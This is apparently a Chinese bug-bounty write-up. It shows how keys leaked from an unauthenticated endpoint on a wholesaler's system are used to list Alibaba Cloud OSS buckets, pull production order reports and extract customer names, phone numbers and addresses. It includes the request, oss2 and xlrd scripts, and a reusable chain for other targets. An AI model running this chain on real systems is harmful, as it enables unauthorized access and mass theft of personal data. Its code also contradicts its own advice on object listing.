某批发商的订购系统,一个未授权的接口直接返回了阿里云 OSS 的 AK/SK 明文。

拿到密钥后不是终点,怎么把"能连上"证明成"批量个人信息泄露(高危)",才是这篇文章要讲的。

整个流程:找入口 → 拿密钥 → 验证可用 → 枚举 bucket → 翻生产数据 → 定级。

一、入口:一个不带鉴权的接口

目标是个批发商的订购系统,后端接口完全没做登录校验。其中一个"获取 OSS 配置"的接口,什么都没带直接返回了完整密钥:

POST /fileOss/getOssConfig HTTP/1.1
Host: example.com:12005
Content-Type: application/json

{}
{
 "code": 0,
 "msg": "success",
 "data": {
 "bucketName": "retail-bucket",
 "endpoint": "oss-cn-beijing.aliyuncs.com",
 "accessKeyId": "LTAIxxxxxxxxxxxxxxxx",
 "secretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
 }
}

注意几个点:

  • 空请求直接返回,连个 token 都不要
  • bucket 名、endpoint、AK、SK 一次给全
  • 端口是 12005——前端域名 443 是静态壳,真后端在非标端口(这和 Actuator 那篇的套路一样:找对端口才有面)

二、验证密钥:别急着高兴,先确认能不能用

拿到密钥先验证真实性,用 oss2 列一下 bucket:

import oss2

auth = oss2.Auth("LTAIxxxxxxxxxxxxxxxx", "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")
service = oss2.Service(auth, "https://oss-cn-beijing.aliyuncs.com")
buckets = service.list_buckets()
for b in buckets.buckets:
 print(b.name, b.location)

能列出 bucket = 密钥真实有效。这一步验证的是"密钥能不能用",但到这儿还不算洞——密钥能用 ≠ 有洞,得有真实生产数据才算。

三、枚举 bucket 内容:找生产数据

列出 bucket 后,逐个翻内容。用 list_objects 而不是 ObjectIterator——后者会一页页翻到底,几百 GB 的桶能把请求量打爆(我自己踩过,max_keys 是每页数不是总数,别当翻页参数用)。

import oss2

bucket = oss2.Bucket(auth, "https://oss-cn-beijing.aliyuncs.com", "retail-bucket")

# 列出前 1000 个对象,按前缀分组看结构
for obj in oss2.ObjectIterator(bucket, max_keys=1000):
 print(obj.key, obj.size)

翻完发现桶里全是生产报表:

  • 订单报表(几百份,含 10MB+ 的全量导出)
  • 销售报表(几千份,门店经营数据)
  • 对账报表(含客户手机号、消费金额、支付方式)
  • 发票/付款凭证图片

这个桶就是"订单库的导出目录"——数据价值直接拉满。

四、解析报表:证明里面有手机号

光有文件名不够,得证明报表里是真实个人信息。订单报表是 .xls 格式,用 xlrd 解析:

import xlrd

wb = xlrd.open_workbook("订单报表.xls")
sh = wb.sheet_by_index(0)
print("行数:", sh.nrows, "列数:", sh.ncols)

# 打印表头,确认有哪些字段
for c in range(sh.ncols):
 print(sh.cell_value(0, c), end=" | ")
print()

表头出来:订单号、客户姓名、手机号、金额、支付方式、收货地址——实打实的批量个人信息。

抽样几份报表统计:

抽样报表

大小

订单行数

含手机号

报表 A

11.4MB

60,002 行

54,446 个

报表 B

1.2MB

6,148 行

6,143 个

报表 C

105KB

413 行

174 个

单份 11MB 的报表就有 5.4 万个手机号,桶里同类型的报表有几百份,全量数据量是数十万级的订单记录,涉及手机号数量级相当可观。

五、定级:为什么是高危

某平台对"批量个人信息泄露"的判定标准:

  • 大量真实用户三元组信息(姓名+手机号+地址)遍历/泄露 → 高危
  • 单接口未授权但无数据 → 不构成
  • 密钥能用但只验证到"能读写自己传的文件"(审核眼里那是自插测试数据)→ 被打回

这个案例齐活了:

  • 密钥未授权获取
  • 密钥真实可用(能列出全部 bucket)
  • 桶里有真实生产报表
  • 报表含姓名+手机号+地址(三元组)
  • 数据量数十万级

高危定级实锤。关键在最后两步——把"能连上"推进到"翻出真实生产 PII",这是从低危到高危的分水岭。

六、报告怎么写(数据量要克制)

提交报告时数据量描述有讲究:

  • 别写"百万条"这类大数字——像脱库,审核第一反应是"你下载了多少",反而扣分
  • 用"数十万级"这种量级描述,配合 TotalItems 字段留在响应里让审核自己复现
  • 手机号在截图里打码,留一个完整证明真实性(比如 138****1234 这种,留一条完整的说明是真实样本)
  • 危害段客观陈述"存在批量个人信息泄露风险",别写"可用于诈骗"这种引导语
POST /fileOss/getOssConfig HTTP/1.1
Host: example.com:12005
Content-Type: application/json

{}

七、这条链的通用性

同样的套路换个目标照样跑:

1. 找入口:未授权接口 / SpringBoot /env / heapdump / 前端 JS / .git / 配置文件——AK/SK 的来源很多

2. 验证:oss2 列 bucket,确认真实可用

3. 枚举:list_objects 翻对象,按文件名找报表/备份/导出

4. 解析:.xls 用 xlrd、.gz 先解压、.csv 直接读,确认字段里有 PII

5. 定级:有真实生产三元组数据 = 高危

拿到密钥只是开始,能不能证明"批量个人信息泄露"才是漏洞成不成立的关键。整个链条走通,一个 AK 就是高危。

总结

步骤

要点

找入口

未授权接口/配置泄露/前端JS,AK/SK 来源很多

验证

oss2 列 bucket,密钥真实可用

枚举

list_objects 别用 ObjectIterator 翻到底

解析

xlrd 读 .xls,确认字段含姓名/手机号/地址

定级

真实生产三元组数据 + 量级 = 高危

报告

数据量克制(数十万级),手机号打码,TotalItems 留响应